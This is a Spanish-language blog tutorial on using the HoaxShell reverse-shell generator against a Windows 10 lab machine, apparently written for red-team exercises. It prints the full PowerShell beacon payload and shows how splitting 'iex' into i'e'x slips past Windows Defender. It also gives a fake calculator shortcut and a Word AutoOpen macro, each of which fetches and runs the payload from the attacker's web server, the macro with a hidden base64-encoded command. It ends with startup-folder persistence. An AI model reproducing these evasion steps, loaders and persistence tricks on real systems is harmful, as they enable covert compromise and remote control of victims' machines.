El día de hoy vamos ha estar comentando sobre este popular proyecto que se liberó a mediados del año pasado (más o menos por estas fechas) llamado HoaxShell y que tan buena acogida ha tenido por parte de la comunidad tanto para ejercicios de intrusión al uso, como para ejercicios de Red Team específicos. Y es que si bien a día de hoy las cargas generadas por defecto por esta herramienta ya pueden ser detectadas por las soluciones de seguridad (AV/EDR), todavía puede ser aprovechada tomando algunas medidas y adopciones que consiguen evadir dichos controles primarios.
HoaxShell fue desarrollada por Panagiotis Chartas (aka t3l3machus), así que dadle mucho amor!
Para definir que es HoaxShell me limitaré a dejaros el ‘about‘ del GitHub del proyecto:
A Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell.
Para las pruebas que el día de hoy voy a presentar he contado con los siguientes elementos:
Dirección IP | SO | Rol |
---|---|---|
10.10.5.6 | Windows 10 | Víctima |
10.10.5.4 | Parrot OS | Atacante |
A continuación una vista de algunas características de referencia del equipo Windows 10 que hará el rol víctima:
Como solución de seguridad estoy empleando el propio Windows Defender, aunque ciertas técnicas puede ser ejecutadas en frente a otras soluciones EDR comerciales, creedme! XD.
Con la implementación de HoaxShell no vais a tener mayor pérdida, diría que yo tan solo he tenido que ejecutar los siguientes comandos en mi Parrot OS:
git clone https://github.com/t3l3machus/hoaxshell.git cd ./hoaxshell pip3 install -r requirements.txt
Llegados a este punto y si tenéis especial interés en conocer en profundidad HoaxShell, os recomiendo ver el vídeo de nuestro estimado John Hammond:
Validaciones previas
Podremos poner en marcha la herramienta mediante el siguiente comando:
python3 hoaxshell.py -s 10.10.5.4
Como se observa, esto generará una carga útil codificada en Base64, que si lo convertimos a texto legible obtendremos el siguiente comando:
Si pretendemos ejecutar este payload en el equipo víctima obtendremos el siguiente mensaje de alerta y obviamente nuestro intento se verá interrumpido (bloqueado).
Tengo entendido que si estuviéramos en Agosto o Septiembre del pasado año con esto nos valdría, pero a día de hoy esto «ya canta!»
Por tanto volveremos a generarnos una carga útil en la que adoptaremos algunas medidas (esta vez lo haremos en formato legible para una mayor comprensión):
python3 hoaxshell.py -s 10.10.5.4 -r
¿Qué es lo que haremos aquí con el payload? Pues básicamente la idea es intentar «romper» las cadenas de texto sospechosas de nuestro comando inicial. En este caso (ejemplo simple) nos basta con pasar la cadena iex
a i'e'x
, que en la práctica PowerShell igualmente lo interpretará, como se observa a continuación:
Como veis, el mensaje de advertencia aquí es otro, y lo más importante: La carga útil fue ejecutada con éxito! Veamos el resultado desde nuestro Parrot OS:
Pero ahora entendamos un poco más lo que hay detrás. ¿Qué se está cocinando por aquí? ¿Magia negra o algo inexplicable? Nada de eso amiguito! HoaxShell hace un uso o más bien hace un abuso del protocolo HTTP (e incluso HTTPS si le incorporas un certificado) para la interacción entre el cliente y el servidor, esto mediante el puerto TCP 8080 (aunque lo podemos personalizar), que si intentamos visitarlo desde el navegador obtendremos la siguiente vista:
El cliente, en este caso el Windows, estará consultado (mediante peticiones GET) constantemente al servidor por instrucciones, que en caso de recibirla, genera una petición POST, tal y como se ve en la siguiente traza obtenida:
Ahora bien, detengámonos en al petición POST y observemos su composición:
Básicamente lo que se observa es una petición muy convencional (como lo haría cualquier aplicación web), con la característica principal que se ubica en el cuerpo (body) de la propia petición. Esto se trata de una cadena que representa cada carácter en decimal, que para poder convertirlo en texto legible (ascii) podremos valernos del siguiente comando:
out='99 108 105 101 110 116 48 49 92 108 111 119 117 115 101 114 13 10 13 10 80 97 116 104 32 32 32 32 32 32 32 32 32 32 32 32 13 10 45 45 45 45 32 32 32 32 32 32 32 32 32 32 32 32 13 10 67 58 92 85 115 101 114 115 92 108 111 119 117 115 101 114 13 10 13 10 13 10' for a in $out; do hex=$(printf '%x' $a); printf "\\x$hex"; done
Como se observa aquí tenemos la volcado de la ejecución del comando whoami
por parte del servidor.
Otra alternativa de uso (y recomendada encarecidamente), es definiendo una cabecera concreta, en este caso se empleo el valor de Authorization
. Con esto conseguiremos que nuestra petición sea incluso algo más creíble, que al lanzarlo de la siguiente manera conseguiremos este resultado:
python3 hoaxshell.py -s 10.10.5.4 -r -H "Authorization"
$s='10.10.5.4:8080';$i='c4e1020f-70ac8fd5-43187de3';$p='http://';$v=In
voke-WebRequest -UseBasicParsing -Uri $p$s/c4e1020f -Headers @{"Authorization"=$i};while ($true){$c
=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/70ac8fd5 -Headers @{"Authorization"=$i}).Content;if
($c -ne 'None') {$r=i'e'x $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=In
voke-WebRequest -Uri $p$s/43187de3 -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.
Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}
La ventaja de este método es que podremos recuperarlo en cualquier momento, en caso de que hayamos perdido el servidor. Esto último lo haremos de la siguiente manera:
python3 hoaxshell.py -s 10.10.5.4 -g -H "Authorization"
Como hemos demostrado hasta ahora, esta carga útil parece no ser detectada por la solución de seguridad, incluso la podremos escribir en el disco de la víctima y la solución de seguridad ni se «mosquea» ante tal acción:
Recordemos el contenido del fichero payload.ps1 (malicioso se mire por donde se mire!):
Si le damos doble click sobre este fichero ps1, el equipo de la víctima mostrará la siguiente consola de PowerShell:
Mientras que en el servidor de nuestro Parrot OS evidenciamos el acceso conseguido:
Obviamente es una técnica efectiva (ha quedado demostrada), sin embargo es poco realista (a la par que probable), que el usuario víctima observe un fichero de PowerShell en su disco, llamado payload.ps1 y haga click sobre el mismo. Incluso si remotamente lo hace (caso muy fortuito), probablemente al recibir la anterior consola de PowerShell en su pantalla, así todo gigante, directamente cierre la terminal y mate (elimine) nuestro proceso. Adiós, muy buenas!
Para intentar dibujar un escenario algo más realista, hemos preparado las siguientes secciones:
Compromiso inicial
Primero vayamos con un ejemplo y una técnica la mar de simple. En este caso, generaremos un acceso directo en el escritorio de la víctima que apuntará aparentemente a la calculadora del sistema.
Sin embargo modificaremos estratégicamente las propiedades de este acceso directo para además de apuntar a la calculadora del sistema, ejecutar vía CMD y de forma previa, una consola de PowerShell que llamará a nuestra carga útil compartida por un servidor web en Python. Todo esto «sin apenas visibilidad» del usuario víctima, ya que finalmente la consola de PowerShell permanecerá minimizada. Todo esto descrito queda plasmado en la siguiente instrucción que añadiremos al campo Target del acceso directo a la calculadora del sistema:
C:\Windows\System32\cmd.exe /C START /MIN powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.5.4:8000/payload.ps1') && C:\Windows\System32\calc.exe
En la práctica, cuando el usuario haga click en el acceso directo a la calculadora del sistema, efectivamente logrará por último abrirla:
Sin embargo su acción logrará disparar nuestra carga útil generada con HoaxShell, que nos otorgará acceso a su sistema:
Como segundo ejemplo podremos valernos de una técnica bastante habitual estadísticamente hablando en caso de infecciones y algunos APT, basada en el empleo de Macros que son incrustados en ficheros de ofimática. Para este caso concreto usaremos Word.
Partimos generando una macro base, en este caso llamada AutoOpen:
El contenido de nuestra macro tendrá el siguiente acabado:
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "powershell -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADUALgA0ADoAOAAwADAAMAAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAnACkA"
End Sub
En donde la cadena «ofuscada» se trata de la siguiente instrucción en Base64:
IEX(New-Object Net.WebClient).DownloadString('http://10.10.5.4:8000/payload.ps1')
Para poder obtener la cadena codificada lo haremos de la siguiente manera desde nuestro Parrot OS:
echo -n "IEX(New-Object Net.WebClient).DownloadString('http://10.10.5.4:8000/payload.ps1')" | iconv -t UTF-16LE | base64 -w 0
Quedando de la siguiente forma. Esto será salvado y posteriormente asociada a un fichero de Word que hemos llamado Confidencial.doc
:
La potencial víctima al recibir el fichero de Word y abrirlo recibirá en una primera instancia, la siguiente advertencia de la suite de ofimática:
Si simplemente se limita a habilitar dicho contenido (como es de esperar), conseguirá disparar la carga útil y por tanto devolvernos una vez más el acceso a su equipo Windows:
En este caso concreto y dado que hemos empleado la marcación de hidden
de PowerShell, la terminal como tal no se muestra para el usuario víctima, tan solo permanece como proceso:
Por otro lado y si lo que pretendemos es asegurar el compromiso en el activo Windows, una técnica de persistencia a contemplar puede ser la siguiente:
Persistencia
Colocar un acceso directo estratégico en el directorio de inicio de Windows del usuario en cuestión (lowuser en este caso). Para acceder al mismo debemos ejecutar lo siguiente:
shell:startup
Nos llevará a: C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
, aquí podremos escribir nuestro acceso directo.
El mismo que contendrá la llamada a nuestro payload, tal y como se observo anteriormente en este post.
En este caso, esta técnica será disparada en cuando el usuario inicie su sesión de Windows.
Como habéis visto, las posibilidades ya se abren tanto como nos de nuestra imaginación para volar. Ahora que tenemos este proyectazo llamado HoaxShell es hora de sacarle el jugo en nuestro próximos ejercicios de Red Team. Nos vemos en uno próximo.
Referencias:
- https://github.com/t3l3machus/hoaxshell
- https://www.youtube.com/watch?v=fgSARG82TJY
- https://www.youtube.com/watch?v=SEufgD5UxdU
- https://www.youtube.com/watch?v=iElVfagdCD4
- https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=VirTool%3aPowerShell%2fXoashell.A&threatid=2147833654
- https://www.softwaretestinghelp.com/windows-10-startup-folder/